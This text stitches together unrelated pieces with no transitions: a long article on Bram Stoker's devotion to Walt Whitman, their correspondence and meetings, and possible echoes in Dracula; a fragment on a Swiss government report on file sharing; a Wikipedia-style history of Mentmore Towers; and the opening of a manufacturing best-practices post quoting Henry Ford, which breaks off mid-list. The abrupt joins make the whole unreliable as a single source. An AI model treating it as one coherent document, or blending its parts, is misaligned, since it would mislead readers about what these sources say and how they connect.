Rossetti’s edition featured a twenty-seven-page introduction, which crowned Whitman as the founder of American poetry and laid out the rationale for the poems selected. “My choice has proceeded upon two simple rules: first, to omit entirely every poem which could with any tolerable fairness be deemed offensive to the feelings of morals or propriety in this peculiarly nervous age; and, second, to include every remaining poem which appeared to me of conspicuous beauty or interest.” Whitman’s preface to the 1867 edition was scrubbed of objectionable language. Aware of the Eurocentric tastes of his circle, Rossetti added epigraphs by Michelangelo, Thomas Carlyle, Emanuel Swedenborg, and Maximilien Robespierre.
It was this bastardized volume and review—not Leaves of Grass—that set Stoker and his literary friends talking and laughing at Whitman’s expense. “Needless to say that amongst young men the objectionable passages were searched for and more noxious ones expected,” wrote Stoker.
More than a year after the review appeared, however, Stoker had a conversion. While listening to two college chums read out loud lines of Whitman’s poetry and mock them, he began to wonder if he had judged Whitman hastily. Not long after, he accepted a copy of Leaves from a man he encountered in Trinity Quad who was eager to part with it. “I took the book with me into the Park and in the shade of an elm tree began to read it. Very shortly my own opinion began to form; it was diametrically opposed to what I had been hearing. From that hour I became a lover of Walt Whitman.”
Midnight Confession
After falling for Whitman, Stoker wasn’t shy about promoting the merits of his work, even standing up for him in a debate of Trinity’s Philosophical Society. The fan, however, longed for a closer relationship. On the night of February 18, 1872, he wrote a letter to Whitman that ran nearly two thousand words.
Stoker opened by telling Whitman that he could burn the letter, but hoped that he would resist. “I don’t think there is a man living, even you who are above the prejudices of the class of small-minded men, who wouldn’t like to get a letter from a younger man, a stranger, across the world—a man living in an atmosphere prejudiced to the truths you sing and your manner of singing them.” He greatly valued Whitman’s candor, regarding him as different from other men, and hoped that they could be friends. “If I were before your face I would like to shake hands with you, for I feel that I would like you. I would like to call you Comrade and to talk to you as men who are not poets do not often talk.” Stoker then declared Whitman to be a “true man,” confessing that he yearned to be one himself, “and so I would be towards you as a brother and as a pupil to his master.”
Having made his admiration known, Stoker described his life: He was twenty-four years old, named after his father; his friends called him Bram, and he earned a small salary working as a clerk for the government. Next came his person and demeanor:
I am six feet two inches high and twelve stone weight naked and used to be forty-one or forty-two inches round the chest. I am ugly but strong and determined and have a large bump over my eyebrows. I have a heavy jaw and a big mouth and thick lips—sensitive nostrils—a snubnose and straight hair. I am equal in temper and cool in disposition and have a large amount of self control and am naturally secretive to the world. I take a delight in letting people I don’t like— people of mean or cruel or sneaking or cowardly disposition—see the worst side of me.
Stoker included his physical description, because he surmised from Whitman’s works and his photograph that he would be interested to know the “personal appearance of your correspondents.” Wrote Stoker: “You are I know a keen physiognomist.”
Stoker attempted to convey what Whitman’s poetry meant to him. “I have to thank you for many happy hours, for I have read your poems with my door locked late at night, and I have read them on the seashore where I could look all round me and see no more sign of human life than the ships out at sea: and here I often found myself waking up from a reverie with the book lying open before me.” Whitman’s verse had been life-changing for a self- confessed conservative from a conservative country. “But be assured of this, Walt Whitman—that a man . . . who has always heard your name cried down by the great mass of people who mention it, here felt his heart leap towards you across the Atlantic and his soul swelling at the words or rather the thoughts.”
Stoker closed by acknowledging his frankness. “I have been more candid with you—have said more about myself to you than I have ever said to any one before. You will not be angry with me if you have read so far. You will not laugh at me for writing this to you. It was with no small effort that I began to write and I feel reluctant to stop, but I must not tire you any more.”
What seemed so urgent and pure in the middle of the night must have seemed rash and confessional in the daylight. Stoker didn’t send the letter. Instead, he tucked it inside his desk drawer.
Over the next few years, Stoker continued to debate Whitman’s poetry with his friends. While still working as a clerk, he began to slowly make a name for himself as a drama critic. When Stoker was a young boy, his father would return from the theater and regale him with vivid descriptions of what he had seen: an exotic set, an actor who overreached, an actress who cried convincingly, a detailed summary of the plot. When he was older, Stoker joined his father on theater outings and dabbled a bit in acting. Unhappy with how Dublin newspapers covered theater—staff reporters with no expertise were often assigned to write reviews—Stoker approached the owner of the Mail about covering plays. Upon being told that there was no extra money for critics, Stoker offered to write for free, launching his career in criticism. “I was thus able to direct public attention, so far as my paper could effect it, where in my mind such was required,” he wrote.
Along with theater reviews, Stoker published short stories, placing his first one in London Society in 1872. “It was a good time for short story writers with something to say; but Stoker, still edging toward maturity, kept recycling hackneyed plots and themes. No one would have called him an original writer,” writes Barbara Belford in Bram Stoker, her NEH-supported biography. Three years would pass before he struck again. In spring 1875, The Shamrock serialized three of his stories, all of which traded in romance and villainy.
On Valentine’s Day of 1876, Stoker found himself once more defending Whitman. This time it was during a meeting of the Fortnightly Club, which was known for its free- wheeling debates. A man of “some standing socially” with a good university record challenged Whitman’s collection of poems on the grounds that it lacked “mention of one decent woman.” To Stoker’s mind he went “too far,” because “Walt Whitman honoured women.”
That night, before he went to bed, Stoker once again wrote to Whitman, expressing his admiration. “The stress of the evening had given me courage,” he wrote in his memoir. Along with the new letter, he included the one that sat in his desk drawer. “It speaks for itself and needs no comment,” Stoker told Whitman. “It is as truly what I wanted to say as that light is light. The four years which have elapsed have made me love your work fourfold, and I can truly say that I have ever spoken as your friend.” He also expressed his wish that he might some day meet Whitman in Ireland.
Three weeks later, a letter addressed to Stoker in the poet’s distinctive spidery hand appeared in his mailbox. Whitman thanked him for his letters, both as a person and as an author. “You did well to write me so unconventionally, so fresh, so manly, and so affectionately, too. I too hope (though it is not probable) that we shall one day meet each other. Meantime I send you my friendship and thanks.”
Years later, Whitman shared the exchange of letters with his friend Horace Traubel, who recorded their conversation in With Walt Whitman in Camden. “He was a sassy youngster,” Whitman said of Stoker. “[A]s to burning the epistle up or not—it never occurred to me to do anything at all: what the hell did I care whether he was pertinent or impertinent? he was fresh, breezy, Irish: that was the price paid for admission—and enough: he was welcome!” Whitman had also noticed that Stoker had written more to himself than to the poet. “I could not but warmly respond to that which is actually personal: I do it with my whole heart.”
The Poet Who Inspired Multitudes
The Walt Whitman who wrote Stoker was almost sixty years and declining in health. “My physique is entirely shattered—doubtless permanently, from paralysis and other ailments,” Whitman told Stoker. “But I am up dressed, and get out every day a little.” The poet had suffered the first in a series of strokes in 1873, leaving his left arm and leg frail. That same year, he moved to Camden, New Jersey, where his brother owned a pipe-manufacturing business. Camden didn’t have the bustle of his beloved Brooklyn or wartime Washington, D.C., but it was situated across the Delaware River from Philadelphia, an easy trek for Whitman’s fans—and by the 1870s, they were legion.
Whitman had been a typesetter, printer, teacher, and newspaper man leading up to the publication of Leaves of Grass in 1855. For years, he had scribbled lines of poetry and observations about what he saw while roaming the streets of New York, most of it unremarkable in style and form. In the late 1840s, Whitman began to trade conventional poetic structure for something looser and more innovative. Whitman scholars have tried to explain the reason for the dramatic shift, speculating that it might have been fueled by a religious experience or the poet’s decision to embrace his homosexuality. Whitman, however, may have supplied the answer when he said a poet ought to “flood himself with the immediate age as with vast oceanic tides.” Another factor was reading Ralph Waldo Emerson. “I was simmering, simmering, simmering; Emerson brought me to a boil,” he told John Townsend Trowbridge.
David Reynolds, Whitman’s biographer, calls Leaves “a dazzling literary potpourri.” “Under one poetic roof he gathered together disparate images from nature, city life, oratory, the performing arts, science, religion, and sexual mores,” writes Reynolds. Reviewers of the time didn’t share his enthusiasm, registering polite interest or outright disdain for the book’s sexual content and Whitman’s ego. “There is neither wit nor method in his disjointed babbling, and it seems to us he must be some escaped lunatic, raving in pitiable delirium,” wrote the Boston Intelligencer. Whitman, however, could take heart that Emerson, to whom he sent a copy, felt differently. “I rubbed my eyes a little, to see if this sunbeam were no illusion; but the solid sense of the book is a sober certainty,” Emerson wrote Whitman.
Leaves was hardly a best-seller, prompting Whitman to tinker with its composition. The 1856 edition grew from twelve to thirty-two poems, and each poem had a title, something the first edition lacked. Whitman also included Emerson’s letter praising him, much to Emerson’s consternation and his own benefit. People started to take notice. Not long after the second edition appeared, Bronson Alcott, a leading transcendentalist and father to Louisa May, called on Whitman. He returned for another visit, bringing with him Sarah Tyndale, a prominent abolitionist, and Henry David Thoreau. Alcott wrote that Whitman and Thoreau had eyed each other “like two beasts, each wondering what the other would do, whether to snap or run.” Nevertheless, Thoreau continued to call.
The Civil War boosted Whitman’s reputation, both as a man and as a poet. During the war, Whitman tended to more than tens of thousands of soldiers in hospitals around Washington, D.C., earning him the nickname “the Good Gray Poet.” In January 1865, he landed a job at the Department of Indian Affairs, but found himself fired a few months later. The oft-told story is that James Harlan, the secretary of the interior, objected to having the author of a “dirty book” on staff. For the 1860 edition of Leaves, Whitman had added one hundred forty-six poems and arranged them in thematic clusters. The “Calamus” cluster, which explored romantic friendships between men, pushed the conventions of the era and made men like Harlan uncomfortable.
Whitman’s dismissal turned out to be a bit of luck—at least in the grand scheme of author adulation. The day after he was fired, Whitman landed a job as a clerk in the attorney general’s office with the help of his friend William Douglas O’Connor. Outraged by Harlan’s actions, O’Connor wrote a forty-six-page pamphlet, The Good Gray Poet: A Vindication (1866), which painted a larger-than-life portrait of Whitman. A year later, John Burroughs, a young aspiring author, wrote Notes on Walt Whitman, a somewhat hagiographic account of Whitman’s life and work. Like Stoker, Burroughs had his own conversion experience while reading Leaves of Grass; in his case, a friend shared poems from the volume during a walk in the woods. The title page of the book lists Burroughs as the author, but Whitman played a major role in shaping its content.
Whitman’s fame was further enhanced by the publication in 1865 of Drum-Taps, a collection of forty-three poems that chronicle his evolving physical and spiritual experience with the Civil War. The poet originally believed that the war could not be captured in verse, but gradually changed his mind as the sights and smells of battle and death made their impression. Following Lincoln’s assassination, Whitman published Sequel to Drum-Taps, which included additional poems, four specifically about Lincoln, whom he idolized. “O Captain! My Captain!,” which mourns the death of the president, became Whitman’s most recognized poem during his lifetime.
As the 1870s dawned, Whitman’s fan base continued to grow, aided by the efforts of O’Connor, Burroughs, and others. “Whitman basked in his disciples’ attention,” writes Michael Robertson in the NEH-supported Worshipping Walt: The Whitman Disciples. “Leaves of Grass never won a wide audience during his lifetime, and it produced only a modest income. In compensation, however, it brought [Whitman] ardent followers.”
Fan letters filled his mailbox. Reading them helped ease the loneliness Whitman felt since moving to Camden and the limitations imposed by his stroke. He could no longer amble through a neighborhood or roam a city, soaking up its sights and sounds, as had been his custom from a young age. His fans bought copies of each new edition of Leaves (you can see all seven editions online at the NEH-supported Walt Whitman Archive) and supported him when he got into trouble. They came to Whitman’s defense when he stirred up a transatlantic war of words in 1876 after writing a mischievous essay for a British journal claiming—with some exaggeration—that he had been neglected by his American literary peers. They would also rally around him in 1881 when the Boston district attorney attempted to ban the publication of a new edition of Leaves on the grounds that it was obscene.
The Other Man in Stoker’s Life
In Stoker’s confessional letter, he wrote that he hoped to meet Whitman someday soon. “Shelley wrote to William Godwin and they became friends. I am not Shelley and you are not Godwin and so I will only hope that sometime I may meet you face to face and perhaps shake hands with you. If I ever do it will be one of the greatest pleasures of my life.” Whitman’s health foiled plans to bring him to England and Ireland. Ironically, it would be the other man in Stoker’s life, Henry Irving, who would finally allow Stoker to realize his dream.
Stoker’s career took a sharp turn when Irving, the most famous actor in England, asked him to manage London’s Lyceum Theatre in 1878. Stoker had been enchanted with Irving from the moment he first saw him take the stage in an 1867 production of The Rivals. Writing of the night forty years later, Stoker could still recall Irving’s movements, expression, and tone of voice. “What I saw, to my amazement and delight, was a patrician figure as real as the persons of one’s dreams, and endowed with the same poetic grace. A young soldier, handsome, distinguished, self-dependent, compact of grace and slumberous energy.”
There was something in Stoker’s makeup that disposed him to adulation—to being a hardcore fan—and he intently followed Irving’s career. The lack of press coverage given to Irving’s 1871 turn in Two Roses inspired Stoker’s decision to become a drama critic. When Irving brought his legendary production of Hamlet to Dublin in December 1876, Stoker was in the audience for three performances. A glowing review followed, and Irving, taken with Stoker’s appreciation for what he was trying to accomplish with the petulant Danish prince, invited Stoker to dine with him in his suite at the Shelbourne Hotel. They talked long into the night, aided by a bit of alcohol and a mutual love of the theater. Irving recited Thomas Hood’s “The Dream of Eugene Aram,” even collapsing into a brief faint at the end. “That experience I shall never—can never—forget,” wrote Stoker. “The recitation was different, both in kind and degree, from anything I had ever heard.”
The friendship forged that night would expand each time Irving returned to Dublin. In quiet moments between rehearsals and boozy dinners, the men discussed Irving’s dream of having his own theater and what it would take to realize it. In November 1878, Irving telegraphed Stoker and asked him to come to Glasgow; Stoker arrived the following evening. “He told me that he had arranged to take the management of the Lyceum into his own hands,” writes Stoker. “He asked me if I would give up the Civil Service and join him; I to take charge of his business as Acting Manager.” Stoker’s answer was an unequivocal “yes.”
Working for Irving meant moving to London, but Stoker did not start this new chapter in his life alone. In December 1878, Stoker, then thirty-one years old, married Florence Balcombe, the nineteen-year-old daughter of an army colonel. Balcombe is famous in literary annals for having been the object of a serious crush by Oscar Wilde, who took the news of her marriage to Stoker hard. Unfortunately, neither Stoker nor Balcombe left behind any clues as to the nature of their courtship or even how they met.
While Irving dreamed up new productions and terrorized the cast with his outsized ego, Stoker attended to his business affairs. The partnership lasted for twenty-five years and profoundly shaped Stoker’s life. Irving possessed a domineering personality, and Stoker was beholden to him. The extent to which Stoker defined himself in terms of Irving can be seen in the Personal Reminiscences of Henry Irving, a two-volume account of Stoker’s relationship with the actor that is part memoir, part celebrity worship.
But working for Irving and being at the epicenter of London’s theater culture did have some benefits. He was part of London’s literati, socializing with Charles Dickens and Arthur Conan Doyle—and even Wilde, once the playwright forgave him. Stoker developed relationships with British literary journals and publishers that were receptive to his fiction. He also had the opportunity to travel to the United States, the country of Whitman and his democratic ideals. When Irving decided to bring the Lyceum Theatre to American audiences, the tour required transporting a large cast of players, lavish sets, and voluminous costumes—and Stoker made all the arrangements.
Meeting His Idol
In March 1884, the Lyceum tour stopped in Philadelphia, making it possible for Stoker finally to meet his literary idol. Stoker envisioned slipping away to call on his hero, but when Irving found out about his plan he asked to come along. Irving was a casual fan at best, but he couldn’t pass up the chance to meet the famous Walt Whitman. On the afternoon of March 20, they called at the house of Thomas Donaldson, one of Whitman’s friends and benefactors. Like many in the poet’s circle, Donaldson wrote a memoir of their friendship, Walt Whitman: The Man (1896), which gives us another account of the meeting.
They found the poet sitting in Donaldson’s parlor. “On the opposite side of the room sat an old man of leonine appearance,” wrote Stoker. “He was burly, with a large head and high forehead slightly bald. Great shaggy masses of grey-white hair fell over his collar. His moustache was large and thick and fell over his mouth so as to mingle with the top of the mass of the bushy flowing beard.” Donaldson introduced Irving first, then Stoker. Whitman leaned forward in his chair and held out his hand. “Bram Stoker—Abraham Stoker is it?” Stoker said yes and they shook hands as two old friends. Stoker would have to wait to speak to Whitman, as the honor of one-on-one conversation fell first to Irving. The poet and actor talked for “a good while and seemed to take to each other mightily.” Irving ventured that Whitman reminded him of Tennyson, a comparison the poet heartily embraced. For his part, Whitman was struck by Irving’s demeanor—“his gentle and unaffected manners and his evident intellectual power and heart.”
When Stoker finally got his chance, Whitman did not disappoint. “I found him all that I had ever dreamed of, or wished for in him: large-minded, broad-viewed, tolerant to the last degree; incarnate sympathy; understanding with an insight that seemed more than human.” They spoke as old friends and traded gossip about mutual acquaintances in Dublin. “Before we parted he asked me to come see him at his home in Camden whenever I could manage it. Need I say that I promised.” Whitman found much to like about Stoker too, calling him “an adroit lad.” “He’s like a breath of good, healthy, breezy sea air,” he told Donaldson.
Two years passed before Stoker could make the trip to Camden. In the fall of 1886, he traveled to New York to make arrangements for the Lyceum’s forthcoming tour of Faust. On November 2, he took the train down to Philadelphia and met up with Donaldson, who accompanied him on the visit. Whitman’s house at 328 Mickle Street was “a small ordinary one in a row, built of the usual fine red brick which marks Philadelphia and gives it an appearance so peculiarly Dutch.” They arrived to find Whitman sitting in a big rocking chair that had been a gift from Donaldson’s children. “He seemed feebler, and when he rose from his chair or moved about the room did so with difficulty. I could notice his eyes better now. They were not so quick and searching as before.”
Whitman’s mind remained sharp, and their conversation roamed from London literary gossip to Irving’s latest stage triumphs to Abraham Lincoln. When Stoker confessed his admiration for Lincoln, Whitman declared, “No one will ever know the real Abraham Lincoln or his place in history!” Stoker asked Whitman about his “startlingly vivid” account of Lincoln’s assassination at the hands of John Wilkes Booth. The essay had been published in Specimen Days, the poet’s autobiography. Whitman said that while he hadn’t been present when the president was shot, he had “spent the better part of the night interviewing many of those who were present.” Whitman’s account was pure fiction—he had been in New York at the time of the assassination. But Stoker was captivated. “The memory of that room will never leave me,” he wrote.
Stoker’s conversation with Whitman ended up playing a starring role in a lecture he had started writing and would deliver at the London Institution. Stoker incorporated Whitman’s proclamation—significantly embellished—into the lecture: “Not long since Walt Whitman said to me: ‘No man knows—no one in the future can ever know Abraham Lincoln. He was much greater—so much vaster even than his surroundings—what is not known of him is so much more than what is, that the true man can never be known on earth.’”
Stoker had one last meeting with Whitman in December 1887, when the Lyceum Theatre ventured to the United States for another tour. Once again, he met up with Donaldson to make the pilgrimage to Mickle Street, where he found Whitman “hale and well.” “His hair was more snowy white than ever and more picturesque. He looked like King Lear in Ford Madox Brown’s picture,” wrote Stoker.
After the old friends exchanged affectionate greetings, Stoker broached with Whitman a subject of some delicacy: editing some of his poems. Stoker had been discussing the idea with their mutual friend Talcott Williams, editor of the Philadelphia Press. If Whitman would let them cut about one hundred lines his books could go into every house in America. “Is that not worth the sacrifice?” asked Stoker. Whitman gave a swift retort, according to Stoker:
“It would not be any sacrifice. So far as I am concerned they might cut a thousand. It is not that—it is quite another matter:”—here both face and voice grew rather solemn—“when I wrote as I did I thought I was doing right and right makes for good. I think so still. I think that all that God made is for good—that the work of His hands is clean in all ways if used as He intended! If I was wrong I have done harm. And for that I deserve to be punished by being forgotten! It has been and cannot not-be. No, I shall never cut a line so long as I live!”
Despite the tense discussion, Whitman and Stoker parted friends. Whitman even sent Stoker off with a keepsake: an autographed 1872 edition of Leaves of Grass and a photograph of himself.
“That was the last time that I ever saw the man who for nearly twenty years had held my heart as a dear friend,” wrote Stoker. Whitman passed away in March of 1892, his body finally giving out after a bout of pneumonia. When Stoker passed through Philadelphia in 1894, he was shocked to learn that Whitman had left something for him in Donaldson’s care: the original notes from the lecture Whitman gave about Lincoln at the Chestnut Street Opera House on April 15, 1886.
“This was my Message from the Dead,” wrote Stoker.
The Undead
During the summer of 1896, while tucked away at the Kilmarnock Arms Hotel in Cruden Bay, Scotland, Stoker put the finishing touches on Dracula. Unlike his other stories and novels, which he tended to whip out, he’d worked on Dracula for seven years, shaping and reshaping the characters, along with the book’s epistolary structure. “The novel’s genesis was a process, which involved Stoker’s education and interests, his fears and fantasies, as well as those of his Victorian colleagues. He dumped the signposts of his life into a supernatural cauldron and called it Dracula,” wrote Belford. What emerged was the story of Jonathan Harker, a novice solicitor, who does battle with the nefarious vampire Count Dracula in Transylvania and London. Aiding Harker in his fight are the mysterious Dr. Abraham Van Helsing, Lord Godalming, Texas gunfighter Quincey Morris, and Dr. John Seward. Together they rescue Mina, Harker’s fiancée who has fallen victim to the vampire, and kill Dracula.
Stoker wasn’t the first to write about vampires. Folktales about bloodsucking creatures of the night had been kicking around Europe for centuries and were slowly making their way into popular culture. In 1819, John Polidori, Lord Byron’s doctor, published the first vampire tale in English in New Monthly Magazine. The story originated out of the same challenge issued on a summer’s eve in 1816 that led Mary Wollstonecraft Shelley to write Frankenstein. A few decades later, Varney the Vampire, heavy on the gothic and gore, appeared in the penny dreadfuls between 1845 and 1847. The 667,000-word serialized tale of Sir Francis Varney’s campaign of terror against the Bannerworth family introduced many of the traits we’ve come to associate with vampires, including puncture wounds and superhuman strength. Stoker’s vampire tale, however, was something different. While grounded in gothic horror and romance—two of Stoker’s favorite themes—it also channeled the mores and anxieties of British society at the close of the nineteenth century.
Dracula debuted in the spring of 1897 to mixed reviews. The Daily Mail declared that “the recollection of his weird and ghostly tale will doubtless haunt us for some time to come.” Athenaeum had reservations: “‘Dracula’ is highly sensational, but it is wanting in the constructive art as well as in the higher literary sense.” The Spectator thought that while Stoker made admirable use of “vampirology,” the story might have been better had it been set in an earlier period. “The up-to-dateness of the book—the phonograph, diaries, typewriters, and so on—hardly fits in with the mediaeval methods which ultimately secure the victory for Count Dracula’s foes.” (Spoiler alert: Dracula is killed by a bowie knife to the heart.)
Dracula was a minor publishing success. The first print run was a modest three thousand copies and a paperback edition didn’t appear until 1901. It took two years and serialization in the New York Sun and other newspapers before Doubleday & McClure printed an American edition in 1899. The modest sales, however, helped Stoker make a name for himself as an author on both sides of the Atlantic. He even got an entry in Who’s Who.
Given Stoker’s hero worship of Whitman, literary scholars have looked for evidence of the poet’s influence on Dracula. A cryptful of critics spent the late 1980s and 1990s fixating on the novel’s morbid sensuality and what it suggested about homosexuality. It was on this issue that they frequently located Whitman’s fingerprints. Belford regards Whitman’s influence as “profound,” noting that the Count and Whitman share common physical traits. “Each has long white hair, a heavy moustache, great height and strength, and a leonine bearing. Whitman’s poetry celebrates the voluptuousness of death and the deathlike quality of love.”
Stoker didn’t leave any explicit clues behind to suggest whom he had modeled Count Dracula on. But given that Whitman wasn’t averse to a little hero worship, he might have liked being turned into an immortal creature with a lustful fan base.
The report was written at the request of the Swiss legislature, which had expressed concerned that rampant copyright infringement endangered Swiss culture. In a 13-page document, Switzerland's Federal Council—the nation's seven-member executive branch—downplayed those concerns.
Drawing on statistics from the Netherlands, which is similar to Switzerland in terms of demographics, Internet infrastructure, and copyright law, the report estimates that a third of those over the age of 15 in Switzerland share copyrighted works without permission. That may be because, despite the best efforts of copyright holders and government officials, the majority of Swiss Internet users can't distinguish between legitimate and illegal sources for copyrighted material.
Yet the report argues that the spread of file-sharing is no great cause for concern. It argues that consumers spend a roughly constant share of their disposable income on entertainment expenses. Money saved on buying CDs and DVDs are instead spent on "concerts, movies, and merchandising."
The report argues that piracy is only a significant concern for "large foreign production companies," and that these large companies need to adapt to new consumer behavior rather than seeking further legislative changes. And, the report says, "fears that these changes have a negative impact on the Swiss cultural creativity are unfounded."
The report considers and rejects three approaches to file sharing that have been pursued in other countries.
First, it considers the "three strikes" approach of France's HADOPI. The council argued that HADOPI is incompatible with a right to free speech and expressed concern that such a regime gives too much power to private copyright holders.
Second, the council rejects calls for Internet filtering, arguing that such laws would threaten privacy and could degrade Internet performance.
Mentmore Towers, historically known simply as "Mentmore", is a 19th-century English country house built between 1852 and 1854 for the Rothschild family in the village of Mentmore in Buckinghamshire. Sir Joseph Paxton and his son-in-law, George Henry Stokes,[1][2] designed the building in the 19th-century revival of late 16th and early 17th-century Elizabethan and Jacobean styles called Jacobethan[3][4] The house was designed for the banker and collector of fine art Baron Mayer de Rothschild as a country home, and as a display case for his collection of fine art. The mansion has been described as one of the greatest houses of the Victorian era.[5][6]
Mentmore was the first of what were to become virtual Rothschild enclaves in the Vale of Aylesbury. Baron Mayer de Rothschild began purchasing land in the area in 1846.[7] Later, other members of the family built houses at Tring in Hertfordshire, Ascott, Aston Clinton, Waddesdon and Halton.[8]
[9] The Grand Hall at Mentmore. Aged just six months, Hannah de Rothschild laid the foundation stone for the great mansion on 31 December 1851.
Much of the parkland was sold in 1944, but Mentmore remained with the family until 1977. At that point, unable to come to an arrangement with the nation to preserve the building and contents intact as a Heritage property, the contents were auctioned, and it was sold to the Maharishi Foundation. In 1999, it was sold to investor Simon Halabi, who planned to build additional hotel and conference facilities.
Mentmore Towers is a Grade I listed building, with its park and gardens listed Grade II*.[10]
Architecture [ edit ]
The dining room (3). The boiseries , or elaborately carved wood panels, were from the Hôtel de Villars , Paris, and are the first example of this type of decoration to be used in an English house. The fragments of the boiseries not used at Mentmore were later installed at Waddesdon Manor
Baron Rothschild hired Sir Joseph Paxton, who had previously designed the much-admired Crystal Palace, to design Mentmore. Paxton was responsible for the ridge and furrow glass roof which covered the central hall, designed to imitate the arcaded courtyard of a Renaissance palazzo, while Stokes was co-architect and clerk of works.[11][12][13] The builder was the London firm George Myers, frequently employed by members of the Rothschild family.[14]
In keeping with the contents intended to be displayed within, the interiors take their inspiration principally from the Italian Renaissance, although the house also contains drawing rooms and cabinets decorated in the gilded styles of late 18th-century France.[15] The design is closely based on that of Robert Smythson's Wollaton Hall.[16]
Earls of Rosebery [ edit ]
Baron Mayer de Rothschild and his wife did not live long after the Towers' completion. After the Baroness's death it was inherited by her daughter Hannah, later Countess of Rosebery.[17] Following her death from Bright's Disease in 1890 at age 39, the house became the home of her widower Archibald Philip Primrose, 5th Earl of Rosebery, later Prime Minister for two years from 1894.[17] In the late 1920s, the fifth earl gave the estate to his son Harry Meyer Archibald Primrose, Lord Dalmeny, who in 1929 on the death of his father, became the sixth Earl.[17]
Both earls bred numerous winners of classic horse races at the two stud farms on the estate, including five Epsom Derby winners. These were Ladas, Sir Visto, and Cicero from the Crafton Stud; plus Ocean Swell and Blue Peter from the Mentmore stud. Both stud farms were within a kilometre of the mansion and together with the stable yard were designed by the architect George Devey, who also designed many cottages in the estate's villages of Mentmore, Crafton and Ledburn.[7]
Second World War [ edit ]
The second wife of the sixth Earl, Eva Primose, Countess of Rosebery (DBE), was interested in the arts and was acquainted with Kenneth Clark and other national art museum directors.[18] As a result of Lady Rosebery's friendships, Mentmore was chosen by the British government to store part of the British national art collections during the Second World War. The collections of the National Portrait Gallery were subsequently stored at Mentmore for the duration of the war, along with pieces from the Royal Collection, including the Gold State Coach.[18] Further works transferred to Mentmore included the portraits from Speaker's House in the Palace of Westminster, and tapestries, furniture and Grinling Gibbons carvings from Hampton Court Palace.[19]
The collection was stored in the "battery room" subsequently nicknamed the "refuge", part of the "gas house", a group of outbuildings where gas and electric light were supplied for the estate.[20] Four men guarded the refuge at night, and two during the day.[18]
Sale and dispersal [ edit ]
Cover of "SAVE Mentmore for the Nation". This booklet was published by SAVE Britain's Heritage in February 1977
The possible purchase of Mentmore for the nation through the government's National Land Fund was the desire of Roy Strong, the director of the V&A, who hoped that Mentmore would become a "branch" of his museum devoted to 19th-century decorative arts as Ham House was for the 17th century and Osterley was for the 18th century.[21] The government refused to spend such large sums from the fund, and the sale fell through.[21][when?] Following the death of the sixth earl in 1973, the Labour government of James Callaghan refused to accept the contents in lieu of inheritance taxes, which could have turned the house into one of England's finest museums of European furniture, objets d'art and Victorian era architecture. The government was offered the house and contents for UK £2 million (equivalent to £23,757,593 in 2018) but declined.
After three more years of fruitless discussion, the executors of the estate sold the contents by public auction, and the large collection was dispersed. The estate made over £6,000,000, but a tiny fraction of its estimated worth today. Among the paintings sold were works by Gainsborough, Reynolds, Boucher, Drouais, Moroni and other well known artists, and cabinet makers, including Jean Henri Riesener and Chippendale. Also represented were the finest German and Russian silver- and goldsmiths, and makers of Limoges enamel. This Rothschild/Mentmore collection is said to have been one of the finest ever to be assembled in private hands, other than the collections of the Russian and British royal families.[22] The sale of Mentmore has been described as a "turning point for the preservation movement".[23][clarification needed]
Many items were removed from Mentmore by the Roseberys and taken to their Scottish house, Dalmeny House, near Edinburgh.[24] Items from Mentmore at Dalmeny include tapestries, Sèvres porcelain, and an equestrian statue by Joseph Boehm of "King Tom", the foundation stallion for Baron Mayer de Rothschild's Mentmore and Crafton Studs.[25]
Maharishi Foundation [ edit ]
It became the headquarters for Maharishi Mahesh Yogi's educational charity, the Maharishi Foundation, in 1978.[26] As of 1997 the Natural Law Party also rented rooms there.[26] The building was put up for sale in 1997 but did not change owners until 1999 when it was purchased by investor Simon Halabi.[27]
Simon Halabi [ edit ]
Rear of the house
Under the ownership of Halabi it was renamed Mentmore Towers Ltd with the intention of converting it into a luxury hotel with 171 suites, including 122 in a new wing on the slope below the house.[28] However, in September 2004 Jonathan Davey, a local resident won a last-minute injunction in the High Court to halt work on the hotel while a judicial review investigated if the planning permission granted had followed the correct procedures. In March 2005 the High Court ruled that Aylesbury Vale District Council's decision to grant planning permission to the developers was "unimpeachable" and legally sound.
However, with Halabi's property empire in serious trouble due to the housing market's collapse, the project seems to have stalled. English Heritage has placed it on the "At Risk register" and the house needs urgent work on the roof and chimneys. There is concern that weather will penetrate to the interiors, considered among the finest examples of Victorian design and craftsmanship in Britain. Halabi's property company, Buckingham Securities Holdings, was also proposing to develop the In & Out Club at 79–81 Piccadilly, London, also known as Cambridge House, before it became the Naval and Military Club and once occupied by Lord Palmerston. The intention was to turn both properties into Europe's first six-star hotels, one located in town and the other to be the sister Country Manor hotel with 36 hole private golf club. The original architects, EPR were replaced by AFR in 2005 but the development stalled in 2007. In 2004 Hotel Design Inc were retained as interior designers for both projects leading to a 2005 launch event for the marketing of the properties as a private members' club with hotel facilities (the PM Club).
The Great Hall in the (?)1880s
The latest proposal after the sister, Piccadilly property was sold to the Rueben Brothers in 2009, was to renovate the original Mentmore Towers building and not construct the new extension containing guest-room suites, conference facilities and a large spa.
Golf courses [ edit ]
Much of the historic park[10] was sold off in 1944[29] and reverted to agricultural use before becoming the Mentmore Golf and Country Club, established in 1992, which has two eighteen-hole golf courses, the Rothschild Course and the Rosebery Course. Although in the same ownership, Mentmore Towers and its grounds and Mentmore Golf and Country Club are quite separate.
Film location [ edit ]
The house has appeared in many films, including Terry Gilliam's Brazil (1985), Slipstream (1989), Stanley Kubrick's Eyes Wide Shut (1999), Philip Kaufman's Marquis de Sade biographical film Quills (2000), The Mummy Returns (2001), Ali G Indahouse (2002) as the Prime Minister's residence Chequers,[30] Johnny English (2003), and Christopher Nolan's Batman Begins (2005), where it was used as the Gothic Wayne Manor.[31]
In 1982 director Howard Guard filmed the Roxy Music video to "Avalon", starring Sophie Ward, at the house. It also served as the filming location of Enya's Dan Nathan-directed "Only If ..." (1997), the Five Max and Dania-directed "Until the Time Is Through", and the Spice Girls Howard Greenhalgh-directed "Goodbye" (1998) music videos. It was also featured as the location of the rave party in the Inspector Morse episode "Cherubim and Seraphim".[32]
See also [ edit ]
References [ edit ]
Hall, Michael (2002). Waddesdon Manor. new York: Harry N Abrams. ISBN 0-8109-3239-3.
1. There are common “best practices” across industries
What we see in China is amazing. 99% of manufacturers have given no thought to learning from best-in-class factories. They have never seen well-run operations. All they have seen so far is their friends ‘and competitors’ factories… Which are usually NOT efficient.
Let’s have a bit of fun. I pulled some quotes from Henry Ford’s autobiography .
a) About the role of internal logistics to keep production operators doing value-added work:
The undirected worked spends more of his time walking about for materials and tools than he does in working.
and
